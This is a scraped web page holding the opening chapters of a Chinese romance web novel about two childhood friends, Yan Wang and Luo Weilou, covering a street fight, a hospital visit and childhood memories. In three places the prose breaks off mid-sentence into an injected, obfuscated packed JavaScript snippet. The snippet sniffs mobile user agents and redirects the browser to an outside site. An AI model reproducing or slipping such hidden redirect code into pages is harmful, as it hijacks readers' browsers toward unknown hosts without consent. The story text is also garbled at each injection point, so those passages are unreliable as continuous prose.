《直男竹马,但我老婆》 1. 第 1 章 巷子里的水洼倒映出电线杆的影子,老城区的路灯还来不及换新,昏黄色的灯光在水面洇开一片。 昨天才下过雨,严妄一进巷子就闻到股潲水的味道。 不知道是哪家店缺德,往井盖里倒,全返味了。 严妄一手拿着手机刷群消息,另一手拎着袋烧烤,不时啪啪打字发表意见。 下周他们班有个聚餐,据班长原话,是在高三前的最后放纵。 正选地点呢,从烧烤、火锅到农家乐、KTV,意见超级不统一,各自拥有最佳辩手。 “昨天说好的二百块,拿来。” “哥,我真没有,现在暑假我爸妈不给钱。” “谁信啊,你家开店的,零花钱不少,平时不攒啊?” “我都给你们了。” “那你不会从收银台拿啊,给我搜他,口袋里肯定有。” 严妄打字的动作一停,听着墙那边的动静,挑了挑眉。 听到一半,他抬头看向旁边这棵半死不活的树。 树杈旁边有一个红点,一闪一闪的。 什么年代了,还有人这么勇,在摄像头下边打劫啊? “老大,他身上的兜都翻了,就只有这手机。” “你他妈的真敢不带钱来,下个学期你有本事转学,不然有你好看的——哎哟!” 黄毛惨叫一声,抬手抱住头,“谁?谁在暗算!” 严妄蹲在墙头,烧烤袋扎好口,挂在旁边的树杈上。 他手里还拿着一截刚折断的树枝,“你们哪条道的?知不知道勒索敲诈是要判刑的?” “你他妈谁啊,要你管——”黄毛话没说完,严妄手里那根树枝,精准无误地扔到他嘴上,抽了他一巴掌。 “你祖宗。” 严妄在墙头撑了下,轻松落地,“嘴这么脏,平时都住下水道是吧?” 黄毛和光头觑着严妄,对视一眼,瞬间自信拉满。 废话,二打一还能打不过? 严妄都懒得看他们,视线往旁边移,“你个子白长的?他们这是勒索,打架不会还不会告老师啊?” 穿着附小校服的男生低下头,脸色涨红,“打架不好,告老师也不好。” 严妄:“……” 那被勒索就好了? 什么一根筋的脑子啊,打不过,总会跑吧。 “算了,这会儿跑吧。”严妄活动活动手腕,“一会儿误伤你。” 就面前这俩,下手都要收点力。 “哥哥!你不要打架,他们——” “滚一边去,碍事!” 一阵劲风朝严妄面门扑来,他侧身躲开,抬脚就往对方腰上踹。 妈的,还暗算。 严妄上初中后,打架水平直线飙升。 打两个小混混是手拿把掐,都用不上什么技巧。 一脚踹完,刚站稳,又一拳照着黄毛的脸打过去,弯腰躲开光头挥过来的木棍。 严妄打架经验算不上丰富,但也不少。 仗着手长腿长,把黄毛和光头耍得团团转,鼻青脸肿了,他就比刚才喘了点,裤腿上多了个脚印。 “草!让你他妈的多管闲事!” 黄毛歪头呸了一声,手在腰后一摸,握着弹簧刀就往严妄身上刺。 “他们有刀!” 严妄侧身,鼻尖和刀刃离着不到三厘米,险险避开。 对方手里有刀,又是不要命的小混混,严妄一下变得狼狈,只能尽量躲。 躲闪中抽空瞥了眼吓到的男生,“你不会打不会跑,报警总会吧?往外跑,打110!” “给老子拦住他!”黄毛冲光头喊了一声,光头立即执行。 严妄真是服了这个小学生,又不能不管,只能堪堪侧过身,挡住光头。 光长个子没长脑子的小学生,终于反应过来,慌慌张张地往外跑,打电话报警。 “臭小子,给我让开!” “叫谁臭小子呢?叫爸爸!”严妄挨了一下,“不对,我也生不出你这种混账东西。” 黄毛气得头顶冒烟,拿着刀不管不顾往前一刺。 严妄本来能躲开的,谁知道刚才被拦住的光头,脚下踩到水打滑,往他身上撞来。 刀尖贴着胳膊划过的瞬间,严妄忍不住骂了句“操”。 懒得管黄毛,一脚把刚爬起来的光头踢开。 黄毛一看得手,更来劲了,“让你装英雄,老子给你长点记性——嗷!谁他妈偷袭我?!” 黄毛转身,没看到人。 抬头往上看,墙上不知道什么时候又蹲了个人。 “你他妈的,你们都住在墙上啊?!” 严妄顺着看去,脸一黑,恨不得当场失忆。 “傻逼,你家墙上能长人啊?” 他心里憋着不痛快,懒得管往外冒血的伤口,一对一情况下,很快撂倒黄毛。 给人撂倒了,严妄才抬头往墙上看。 “骆危楼,你是来看热闹啊?” 表情凶巴巴的,语气却像是撒娇质问。 骆危楼手一撑,帅气跳下墙,“两个小混混都打不过,外婆那两千块白交了。” 严妄看他接手黄毛,退开站一边,胡乱扯了衣摆按在伤口上,“是他偷袭!” “戒备太差。” “你是不是想打架?” 严妄抬脚踹他,被躲开,一下气鼓鼓地别开脸,干脆踢了一下光头。 要不是这傻逼打滑,他能挨一刀吗? 踢完终于解气,严妄才看骆危楼,后知后觉问:“你怎么在这?” “距离你发消息说要到家,已经过去一个小时。”骆危楼往外看了眼,隐约听到警笛声。 “麻烦严大少爷,你看看时间。” 严妄想挠头,但没手。 算了,他好像是沉迷打架,忘了。 “喂,你来的时候报警了吗?我手有点痛。”严妄岔开话题,蔫了吧唧问:“我不会失血过多吧?” 骆危楼皱起眉,“警察马上来。” 顿了下,又说:“过来点。” 严妄靠过去,把胳膊抬起给他看,“我没骗你,真的流很多血。” 夏天衣服本来就薄,又是下摆,就算团起来,也没多几层。 血迹渗出布料,洇开一圈,还隐隐有扩散的趋势。 骆危楼眉头皱得更紧,看眼黄毛,又看想爬起来跑的光头,“要不——” 被打成这样,应该也跑不了多远,警察能赶上吧。 严妄一眼看懂,“那我不白挨一下了?不行!” 骆危楼:“……” 仿佛刚才喊痛的人不是他。 这算什么?算他多想这一下。 好在没几分钟,附近派出所的民警就到了。 被抢钱勒索的小学生气喘吁吁跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025640|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在旁边,看到严妄没事,差点哭出来。 民警一看他俩年纪,就问是哪个学校的学生。 严妄骄傲报上家门,“附中的,马上高三。” 两个民警,一人拷了一个起来,按理说是要回派出所录个笔录,但严妄胳膊那伤看着还挺重,得先处理。 “情况我们大致了解了,就是这两个人抢劫,被这位同学遇上,见义勇为,才没让犯罪得逞。” 民警表扬道:“精神值得表扬,但行为不提倡,你们还是学生,万一对方是穷凶极恶的歹徒,那怎么办?” 严妄立即卖乖道:“警察叔叔,我知道了,下次一定先向大人求救。” “那先这样,我联系个同事送你们去医院,然后留个电话,万一之后要补充笔录、证据,还得联系你们。” “不用不用,我们自己去医院就行,没多远。” 市医院就在旁边过去一条街,五百米都不到,几分钟就到了。 “真不用啊?这——” 站旁边一直没说话的骆危楼适时出声,“我是他哥,等会儿到了医院会联系家长,你们放心。” 民警看看骆危楼,又看看严妄。 看着是像哥,成熟点,估计是大学生。 那小学生跟着一起回派出所,临走前眼泪汪汪看严妄,还说一定会去学校感谢他。 一来一去,又耽误了十来分钟。 骆危楼收回视线,问严妄,“自己能走?” 严妄白他一眼,“我伤得手,又不是腿,怎么不能走?” 说着迈开腿,往巷子外走,“我烧烤还挂树上,你帮我拿下。还有,谁是你弟啊,别占我便宜。” 骆危楼无语看他,认命翻上墙,拿了烧烤后才去追严妄。 大两个月也是大,怎么不是哥呢? 小时候哭着跟他屁股后面叫哥哥别走的,我给你糖的人也不知道是谁。 走出去没两步,严妄就停在原地,一双大而圆的眼睛盯着他。 骆危楼上前,对上严妄的眼神,又往前走了两步,弯腰半蹲,“上来。” 严妄嘿嘿笑了,一点不客气地趴他背上,“哥,还是你好。” 又来这一套。 骆危楼都懒得说了,把人往背上托,扶着他大腿,边走边问:“疼得厉害?” 严妄小心避开胳膊伤口,趴着不动,“有点麻,不过还行,就拉了条口子,不深。” “对了啊,你别跟外公外婆说,不然他俩又得担心。” “现在知道怕了?刚才不是挺能逞能的。”骆危楼走得快而稳,“不知道对方手里有没有武器,你就上?” “我这是见义勇为,你怎么还不让我做好事了?”严妄反驳,“再说,那小学生怪可怜的,我不能不管吧。” 没碰上就算了,迎面撞上要不管,还是不是三好学生了? 骆危楼听他语气骄傲,无情戳破,“伤在胳膊,想瞒也瞒不住。” 严妄懊恼地发出一声哼唧,干脆趴他背上不吭声。 手指头倒是灵活,跟小鸡啄米似的,一下一下戳着骆危楼的肩膀。 “没下次。”骆危楼警告,“再有下回,就把你锁房间。” 严妄低低笑起来,一点也不怕,“那我还上学吗?” 正好走在斑马线上,夜风吹来,八月的燥热被吹散。 骆危楼轻轻把他往上托了托,“我给你上。” 2. 第 2 章 那一刀看着狠,但严妄躲得快,因此在医院诊断是皮外伤,不用缝针,处理干净后敷药包扎,再打一针破伤风就行。 离开前,护士看他们年纪小,叮嘱说这几天别吃辛辣、油腻的东西,影响伤口恢复。因为打了破伤风针,可能会出现局部红肿、痒、刺痛都是正常的。 要是有恶心、头晕和发热这些严重反应,及时送医。 走出医院大门,骆危楼伸手刚要拦车,胳膊被拉住,跟着肩上一沉。 他缩回手,转头问:“不舒服?” 严妄有气无力地“嗯”了声,“我好像有一点头晕,你说是不是得回去看看?” 骆危楼眉头皱紧,反手握住他手腕,把人又往门诊大楼带。 “刚才怎么不说。”他边走边说了一句。 严妄正想发誓说自己刚才真没不舒服,就感觉胃动了动,然后咕噜一声。 “咕噜”。 很清晰的一声,不只严妄听到,骆危楼也听到了。 急匆匆的脚步停下,骆危楼眉头舒展,“……什么时候吃的东西?” 严妄瞥向他,略有心虚,“三点?也有可能是四点。” 在篮球场上打球,哪里顾得上吃不吃饭。 反正晚饭肯定是没吃,等天黑了,几个人约了下次时间,他就往家里回,路上还买了烧烤。 骆危楼咬咬牙,知道他说的不可信,多半就吃了午饭。 拉着人重新回到路边,伸手拦了辆车,把人塞到后座的动作看着重实则小心。 向司机报了地址,不说话也不去看严妄。 严妄拉着嘴角,扭头往外看。 不理就不理,谁还不会装高冷了。 等红灯时,司机从哼歌里抽空看了眼后视镜,被逗乐了,然后把音乐声调大了点。 - 市医院和附中教师小区就隔了两条街,往巷子里钻,十五分钟就能到。 打车不堵的话,几分钟的时间也就到了,算上红绿灯也就十分钟。 严妄看眼车窗外,过了红绿灯掉头就是小区门口。 悄悄转头,余光里骆危楼板着脸,一脸生人勿进的表情,看起来就还在生气。 他摸摸鼻尖,瞥眼红绿灯,还有七十多秒。 江舟市交通路况出了名的差,号称堵城一点不夸张。 老城区的红灯动辄就是九十秒,绿灯十几秒,过四辆车都是极限。 严妄直接伸手戳了下骆危楼,“你又在生什么气?” 骆危楼转头看他,一脸“你不知道我在生什么气”的表情。 严妄看他理自己,笑得露出两颗虎牙,“下不为例,有下回你就把我关起来,给我上课。” 骆危楼无语,抬手揉乱他头发,“别想糊弄过去,要我提醒你,三餐不规律的下场吗?” “贫血、结石、低血糖、还有记忆消退、胃肠疾病。”严妄报菜名地一个个往外说,“但我体检可健康了。” 骆危楼点头,“知道就行。” 他拿手机看了时间,已经九点多,“聚餐时间定了没?” “周六啊,白天烧烤,晚上在KTV唱歌。”严妄说完,想起什么,“那天你是不是要去上课?” 骆危楼点头,“嗯。” 十月份代表学校去参赛,周三和周六他都有物理竞赛课要去上。 严妄颇为惋惜叹了声,“你不去,实在少了很多乐趣。” 骆危楼疑惑地看他,就听严妄下一句。“只有你在场,我们一群人才能团结起来,玩弄你这位年级第一。” 无聊。 骆危楼等车停稳,扫码付款后,推开车门下去,又一手扶门一手去扶严妄。 出租车后排座位大多凹陷,每次个高的人下车,都有些吃力。 骆危楼抓着严妄没受伤的胳膊,把人稳稳拉出来,跟师傅道了谢,正要关门,严妄急嗷嗷地拍他。 严妄指了一下挂在椅背上的口袋,“烧烤,烧烤!” “……?”骆危楼一脸无语。 “特地给你带的,回家热热能吃。”严妄让他赶紧拿。 骆危楼愣了下,弯腰伸手把袋子取下来,又跟师傅道了一声谢,才领着人往小区里走。 小区修建的早,是八层楼的步梯房,就六栋楼。 因为住的都是附中教师、家属和员工,所以设施维护得都不错,加上这一两年市容市貌整改,翻新了一些。 住的老教师居多,基本都四十往上的年纪。 一进小区,还在楼下小花园散步、下棋的叔叔阿姨、大爷大妈就问他们怎么这个点才回来。 严妄一边藏住胳膊,一边热情回答,“在篮球场打球呢。” 他扯了扯骆危楼,挡住自己胳膊,“顺便等他下课。” “大小伙子就是坐不住,明年高三了,要收收心。” “哎!这才放假多久,这个假期玩尽兴了,开学才收得了心。” “危楼这孩子随他妈,自律得很,今年又要代表学校去参加竞赛了。” “那好事啊,加油啊小楼。” 骆危楼点点头,“我们先上去了。” 在一众熟人的关心下,他俩飞快溜进了单元楼。 严妄家在三楼,骆危楼家在隔壁单元一楼。 小时候一起出门,家里座机小孩用不来,直接扯着嗓子喊就行。 “等会怎么说?要江女士知道我见义勇为负伤,是不是能多给我点零花钱?”严妄瞥眼胳膊的纱布,心里嘀咕,早知道穿个长袖。 骆危楼拍了下手,楼道灯亮起来,“想太多。” “那怎么办?他俩年纪大了,受不了刺激。”严妄抓抓头发,跟炸毛小狗似的。 受伤不是大问题,打架受伤才是关键。 骆危楼看他头发都要薅掉几根,站在门口,直接拿了钥匙开门。 严妄一惊,压着声音问他,“你干什么,我都没编——” “小楼回来了?严妄是不是——”门里站着一位女士,看着六十岁多岁,戴了一副眼镜,花白的头发烫卷。 “你这孩子,上哪里野去了?” “外婆,我不是说了去打球吗?”严妄走进门,一边换鞋一边赔笑,“您忘了?还是外公忘记和您说了。” 严妄外婆江女士,单名一个杉字,是享誉附中的老教师。 主科语文,以前还兼任过政治、历史,带了无数毕业班,连现在的教师里,都有她的学生。 客厅沙发那边传来声音,是严妄外公杨孟生。 师大的退休教师。 “小小年纪就学会推卸责任,不可取啊。”杨孟生正在调电视,“你说出去打球,但现在几点了,谁家孩子陪你打到这会儿?” “外婆,您听我解释——” “你这胳膊怎么了?包着纱布,怎么受伤了?” 不等严妄辩解,江杉女士发现他胳膊上的伤,既担心又生气地问:“又跟人打架了?” 严妄不擅撒谎,吭哧两声,大脑一片空白。 骆危楼关好门,又把鞋放回鞋柜,“打篮球摔的,磕在篮球架底座,怕破伤风还打了一针。” “平时都告诉你小心点、小心点,这回知道厉害了吧?”江杉松了口气,拍拍他肩膀,“厨房里留得有饭,我给你热热。” 杨孟生听到他受伤,从沙发那儿过来,一看又心疼了。 严妄立即卖乖,“外公,您别担心了,一周就能好全,连疤都不留。” “我去给你买点草莓回来。”杨孟生说着就要出门,被严妄拦住。 “大晚上的,买什么草莓啊,您赶紧看电视去,一会儿错过剧情。”严妄拉住他,“小伤。” 早知道先去骆危楼家拿一件衣服,换了再回来。 骆危楼自然走到厨房,看见江杉心不在焉,立即伸手接过碗,“您去客厅待会儿,我给他热就行。” 江杉回过神,问骆危楼,“严妄真是打球受伤的?” 骆危楼眼睛都不眨一下,手上动作也不停,“是。” 看江杉还在担心,“他已经很久不打架了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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骆危楼冷哼一声,站起身走过去,“坐好,裤腿挽起来。” 严妄梗着脖子,坚持不到十秒,败下阵来。 气势汹汹地把毛巾扔开,往床边一坐,抬脚挽裤腿一气呵成,要是小腿上的淤青不那么明显,会更有气势。 显然,他自己也看到了淤青。 略有尴尬地咳了声,嘟嘟囔囔的,“都怪那小子暗算。” 骆危楼坐在他对面,倒了红花油在手心,慢慢把手心搓热。 期间味道散开,不算难闻,但有一点点呛人。 “见义勇为很好,但要懂得保护自己。”骆危楼垂眼,说话时手也贴上严妄小腿。而后抬眼盯着他,一脸严肃,“严妄,别总是让自己受伤。” 严妄一整个怔住,别开脸看向开着的窗户,“你好啰嗦啊,骆危楼。” 骆危楼不否认,力道合适地给他揉开淤青。 先是小腿,然后是后背。 他处理这种伤,经验十足,而这些经验都来自于严妄。 严妄的评价不假,这两个小混混的确是虚张声势。看起来挺社会的,实际上连严妄都能一打二。 比起以前那些,这点伤是不用喊疼。 不知道是太累还是太困,趴着的时候,严妄抱着枕头看坐在书桌那边的骆危楼,眼皮发沉。 “陆阿姨今天不回来吗?” 骆危楼翻书的动作一顿,扭头看他,“不回。睡吧。” 严妄一听陆舍青不回来,闭着眼睛,像是本能地拍拍身边位置,“那你快上来睡觉。” 房间里的灯是暖色的,照在他脸上,显得本来就长得乖的人更乖了。 眼睛、鼻头都有些圆,是招长辈喜欢的长相。 连一向不喜欢小孩的陆舍青,从小也爱逗他玩。 骆危楼“嗯”了声,把书放回去,蹬掉鞋躺到床上。 严妄本来就困,运动完加上吃饱喝足还洗了澡,没几分钟就睡着了。 骆危楼睁着眼,伸手去关床头的台灯时,扫过相框里的严妄一家三口合照。 无声说了句,晚安。 3. 第 3 章 严妄做了一个很长的梦,梦里他还在上小学。 是小学一年级。 第一天上学,要起很早,因为要参加开学典礼。 时间比幼儿园早,他起不来。 穿衣服和吃饭,都是杨潋代劳,全程闭着眼睛抬胳膊、张嘴就好。 一直到有人敲他家门,听到骆危楼在叫他,他才睁开眼。 “杨阿姨,早上好。” 骆危楼穿着校服,两只手捏着书包带,一脸小大人的严肃,站在门口也不进来。 杨潋忍不住笑,两只手把严妄从椅子抱下来,“小楼,你是哥哥,今天可以帮阿姨照顾一下小妄吗?” 骆危楼立即点头,“杨阿姨,我可以的。” “那小妄,今天在学校要听哥哥的话,知道吗?”杨潋弯腰,“有什么事第一时间报告老师,明不明白?” 严妄打着哈欠,笑着跑向骆危楼,不忘跟杨潋挥手,“妈妈,我知道了,你别担心呀,晚上见哦。” “我也会照顾小楼的。” 骆危楼等他过来,习惯地去牵他手。 软软的,像是棉花团。 严妄笑眯眯地拍拍他,“骆危楼,我跟你一样大了,以后我也照顾你。” 骆危楼别开脸,拉着他往门外走,“不用。” 走到门口,回头跟杨潋说,“阿姨再见。” “小妄、小楼再见。”杨潋目送他们下楼,又不太放心地追到门口,“严妄,小楼是哥哥,听他的话好吗?” 严妄不排斥上学,去幼儿园第一天都没哭,上小学第一天更不可能哭了。 下了几级台阶,听到杨潋的嘱咐,转头挥挥手,“妈妈,你快收拾,不然上班要迟到了。” “这孩子。” 杨潋看着他们下楼,一看时间,“哎呀”一声,连忙回去收拾。 但谁都没想到,幼儿园第一天都没哭的严妄,在上小学第一天,哭得差点厥过去。 事情的起因很简单。 才刚刚七岁的严妄个子不高,看起来还没长开,不胖,但一张脸圆乎乎的。 在同龄人里特别显小。 班里男生有几个个头突出的,因为开学典礼和排座位时都在后面,立即觉得自己是大孩子了。 才一个上午,就很快形成自己的小圈子。 他们想拉骆危楼一起,奈何骆危楼不爱说话,上课认真,下课就围着严妄转。 本来相安无事,一天就过去。 哪知道下午第二节课,严妄想去厕所,习惯地去找骆危楼,骆危楼直接牵起他手往教室外走。 等他们一起从厕所回来,那几个高个男生就笑话严妄没长大,是个要人牵的小萝卜,不应该来上小学,应该再去读幼儿园宝宝班。 男孩的攀比心,在学生时代无非是身高、打架能力、受女孩欢迎程度,成绩都得往后排两位。 严妄坐在凳子上,手里拿着笔,越听越伤心,越听越难过,憋了一节课,下课铃声一响,眼泪啪嗒啪嗒往下掉。 骆危楼从后排走上来的第一眼,就看到严妄眼睛红得像兔子。 “同学,他、他哭了一节课了。” 严妄同桌是个女生,小声解释,“这是纸巾,你快哄哄他。” 骆危楼向对方道谢,却没接过纸巾,直接从严妄书包里拿出手帕。 一边擦一边说,“严妄,你眼睛肿了。” 严妄肿着眼睛,一看骆危楼,哭得更厉害了。 顾不上教室里没走的人,胳膊一环,脸埋在他肩上“哇”一声哭出来。 骆危楼从来没见严妄哭得这么厉害过,零食被抢了都没这样。 一向习惯绷着的小脸上露出无措,机械性地拍着他背,嘴里只会说“别哭了”“眼睛肿了会看不见路”的话。 学校离小区近,学生都是自己上下学。 等严妄哭哑嗓子,眼睛肿得像小灯泡回到家,先吓一跳的是杨潋。 然后是出差回来的严奇,最后是江杉、杨孟生。 四个大人望着一个哭成番茄面团、另一个扁着嘴随时要哭的俩孩子,少有地陷入教育困境。 怎么才上一天小学,就成这样了? 难道是他们的教育方式出了问题,还是现在的小学生都变得不友好。 总之,不可能是他们家两个孩子惹事。 “妄崽,跟婆婆说,学校里有人欺负你了吗?”江杉问。 严奇蹲在他面前,“告诉爸爸,是不是不喜欢上学呀?” 杨潋拍他一下,重新问:“不喜欢现在的学校吗?那妈妈帮你换一个好不好?” 杨孟生看向一边的骆危楼,“小楼,今天和弟弟在学校里,碰到什么事了吗?” 四个家长一人问一句,原本就委屈的严妄,一下更委屈了。 眼泪啪嗒又掉下来,扑到严奇怀里。 “呜呜呜呜爸爸,我不是小萝卜,我不要去读宝宝班。” 四个家长一脸懵,什么小萝卜、什么宝宝班。 骆危楼扁着嘴,抬起手背擦眼睛,不让眼泪掉下来,“对不起杨阿姨,我没照顾好妄崽。” 这下不只懵了,还吓着了。 骆危楼从三岁多点就经常来他们家,一直到陆舍青夫妻正式离婚。 四年时间里,这孩子哪这么委屈过。 更别说当他们面哭了,都是一个人偷偷抹眼泪。 杨潋忙把人抱到怀里,摸摸他头,“哎呀,你别哭啊,阿姨什么时候说要怪你了,小楼是个好孩子。” “不哭不哭,阿姨明天和你们一起去学校。” 一晚上什么都没问明白,光顾着哄俩孩子。 只知道严妄不想当小萝卜,不想去宝宝班,骆危楼连哭都没声儿的。 第二天杨潋去学校,跟老师了解清楚后,私下里找了那几位同学,讲了道理,又用点小礼物收买他们。 当天晚上,严妄回来时候蹦蹦跳跳的,还说收到同学给的礼物了。 杨潋正在厨房里给他们做晚饭,一听,笑盈盈地夸妄崽和小楼好厉害,才去学校就交到了朋友。 严妄开心得晚饭多吃了一碗。 晚上睡觉前,杨潋去房间里,见骆危楼还在看拼音本,悄悄比了一个“嘘”的手势。 她和骆危楼有一个共同小秘密,严妄并不知道。 - 那个时候,外公外婆还在学校里上课,一个是经常住大学宿舍,另一个在高中上课早出晚归。 很长一段时间,周一到周五,严妄只有在快睡觉的时候才能见到他们。 连他爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025642|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸严奇也一样,经常出差和加班。 家里只有杨潋工作比较清闲,九点才上班,五点就可以到家。 但严妄不难过,因为他有骆危楼。 尽管他并不知道骆危楼为什么经常住在自己家,明明他家就在隔壁单元的一楼。 他见过骆危楼的妈妈,很漂亮的阿姨。 骆危楼的爸爸他很少见到,只记得是一个高高大大的人,像小山一样。 严妄悄悄问过杨潋,骆危楼是不是挨打了,所以才来家里。 杨潋听了就笑他,然后问他喜不喜欢骆危楼,他一口咬定喜欢。 杨潋就说,以后小楼就是他哥哥,要好好相处,不管是在学校,还是在家里。 小孩子长啊长啊。 一不留神,就从幼儿园的小豆丁,长成了十岁出头的大小孩。 严妄不会再问起骆危楼爸妈的事,骆危楼也习惯了严家偶尔鸡飞狗跳的生活。 明明是教职工家庭,但一点不严肃,甚至会聚在一起弹弹珠,一位大学教师当众倚老卖老,耍赖不认输。 直到严妄和骆危楼小升初那年,严奇和杨潋遇到车祸。 在班里上课的两人,忽然被班主任叫出去,紧跟着连书包都来不及收拾,就被送到校门口。 陆舍青站在车旁等他们,看见他们后,并没有跟骆危楼说话,而是抱了抱严妄。 说他们现在得去医院。 严妄几乎第一时间就意识到什么,上车时很抗拒。 仿佛只要他不上车,就不会面对即将发生的事。 - 严妄是被外面的鸟叫声吵醒的,不耐烦地睁开一只眼,刚打算卷着被子再睡会,就感到被一股力量牵制住。 这下两只眼睛都睁开,“骆危楼,你烦不烦?” 骆危楼看他醒了,从床上坐起来,“小心胳膊。” 经他一提醒,严妄才想起来自己胳膊还有伤,表情很臭地在心里咒骂那两个王八蛋。 不在局子里多蹲几天,都对不起他负伤。 骆危楼走到书桌旁,扫一眼七零八落的卷子和习题本,“还有不到半个月开学,你卷子就这样?” 严妄胳膊伤着,不好动,干脆平躺着看天花板。 一听他又要开始了,立即打断施法,“看着乱,实际我写了大半。” 骆危楼面无表情接话,“打算改行去说唱?” 严妄笑出声,“哈哈哈哈,骆危楼,你有病,好无聊啊你!” 他一笑,骆危楼嘴角也扬了扬。 一边理卷子,一边拉开房间的遮光窗帘。 骆危楼随口一问,“刚才梦到什么了?听到有我名字。” 严妄看他要转身,把脸埋在被子里,“梦到我把你痛扁了一顿,你哭着要我放过你。” 骆危楼盯着他后脑翘起的头发,“放过了吗?” 严妄露出半张脸,“你现在求我,我就放过。” 骆危楼往后靠在桌沿,抱起胳膊,嘴角挂着笑,“求你。” 不等严妄得意,房门被敲响的同时,江杉的声音也穿门而来。 “严妄!” “你要是再学那些小痞子说话,我就让你拿喇叭去小区当领操员。” 严妄瞪向骆危楼:你又玩阴的!无耻! 4. 第 4 章 严妄胳膊的伤,换了三次药后,就拆了纱布,只留下一条细长的粉色疤痕。 对此,严妄中二表示这是人生勋章。 想拍照发到朋友圈留作纪念。 要出门去竞赛班的骆危楼正好听到,翻了个白眼。 严妄坐在椅子上,膝盖抵着桌沿,前后晃着。 看到他白眼,很不满,“骆危楼,你再阴阳怪气的,我就告发你!” 骆危楼关上书包拉链,“要告发什么?” 严妄挑眉,露出一个意味深长的笑,“要告发的事当然是秘密,怎么能让你知道。” “变聪明了啊。”骆危楼拿上校服外套,“地址发我,晚点我去接你。” “你不是六点才下课,你直接回家呗。”严妄边说边把地址发过去,“要穿校服?” 骆危楼“嗯”了声,正要走人,就看举着手机往后一仰,椅子擦着地板发出一声刺耳的划拉声。 抬脚往前一顶,踩稳横杠的同时,伸手捏住严妄后颈,“严妄。” 严妄后颈一紧,比猫还敏感地缩了缩脖子,“我——” “坐好。”骆危楼扶正椅子,用力捏了一下才松手,“给你摔成脑震荡。” 严妄撇嘴,扒拉开他的手,“赶紧去参加你的竞赛班,迟到了小心挨骂。” 骆危楼看他规矩坐着,不再翘椅子才拿起书房往外走。 “别往朋友圈发你那勋章了,外公外婆是老花眼,不是眼神不好。” “那我屏蔽不就好了?” “你朋友圈多少号人,你屏蔽得过来?那干脆仅自己可见。” 严妄看着骆危楼离开的背影,往桌上一趴,垂头丧气的。 那还真是屏蔽不过来了。 全都是外公、外婆的眼线,通风报信比谁都快。 严妄盯着手机里的疤痕照片,听着外面江杉和骆危楼说话的声音,戳了戳屏幕两下,最后点开朋友圈,发了一条出去。 严妄:人生勋章+1,夸我。 配图是看起就没什么肌肉线条的胳膊,上面一条粉色的疤。 朋友圈发完,严妄把手机往后一扔,开始写假期作业。 开玩笑,再不写开学就完了。 “妄崽,给你切西瓜吗?” “要,冰的哈。” “天天吃冰的,你那胃怎么受得了哟。” “我放一放就热了。” 江杉摇摇头,笑他一肚子歪理,从房门口离开,给严妄切西瓜。 骆危楼出了单元楼,到车棚开了自行车锁,边推着走边打开手机。 他的聊天页面大多消息都是免打扰,置顶其一的严妄最新一条是地址。 想到什么,他抬头往三楼窗户看,再低头时点开朋友圈,不意外地看见一条新动态。 骆危楼挑眉,点赞、评论后,手机揣回口袋,骑上自行车出了小区去学校。 严妄听到手机振动的下一秒,就反身飞扑到床边,迅速点开朋友圈。 骆危楼:厉害。 嘁。 差评,才两个字,至少得写篇八百字作文。 - “严妄,这里!” 严妄转身看去,立即穿过一群人往那边走,“你这安排的什么地方?早知道就让大家投我选的了。” “嘿嘿,哪晓得人这么多。”戴了副黑框眼镜的瘦高个男生堆起笑,“坐坐坐,特地给你留的。” “服了你,下回再听你吹牛,我名字倒过来写。”严妄还拎了几个口袋,全是奶茶。 来之前群里点单,他特地去买的。 周戈站在他背后,捏肩捶背,“辛苦辛苦,这不是想着临河,夏天还能玩水。” “你看有几个下水的?”严妄拆开一杯奶茶,吸管一戳,喝了两口总算缓过劲来。 十几杯奶茶,他拎着走了一公里。 他都想喊自己菩萨。 “哎呀,妄崽别跟周戈生气,等会儿我帮你出气。”短袖短裤扎了个高马尾的女生走来,看着很文静。 长腿一勾塑胶凳的腿,坐下后翘起腿,在一堆奶茶里挑挑拣拣,终于看到自己那杯,“哎,你哥呢。” 周戈选的聚会地点在一个公园里,河边浅滩两边都是周围居民摆的烧烤店。 浅滩能划船、能玩水,价格便宜,所以每逢假期,走一步就能碰到一个出来聚餐的学生。 就是河边树多、草盛,八月份的天,蝉鸣声吵人。 严妄被吵得心烦气躁,一听孙雯宁的话,“我哪来的哥。” 孙雯宁一点不生气,笑盈盈盯着严妄,“好吧,那骆危楼呢?学霸不来,怪无聊的。” 这话周戈就听不下去了,当即反驳,“孙仙儿,今天安排了划船、麻将还有狼人杀,还无聊啊?” “你玩三年你也腻。”孙雯宁咬着吸管,“哎,美好的假期即将逝去,而我连旅游都化为泡影。” 周戈嘀咕,“谁让你考倒一。” 孙雯宁:“我看你是要归西。” 严妄给他俩逗乐,伸了伸胳膊,“别讲你俩那相声了,听三年我都腻。” “走,划船去。” 来河边不下水,那还玩什么? “我跟你一队。” “我不跟你一队!” 周戈迎上严妄和孙雯宁的眼神,往后退两步。 “你们是高手,我这等无名小卒,不配和你们坐一艘船。” 孙雯宁嫌弃地看他一眼,挽上严妄胳膊,“看吧,这种时候才知道谁对你是真心的。” 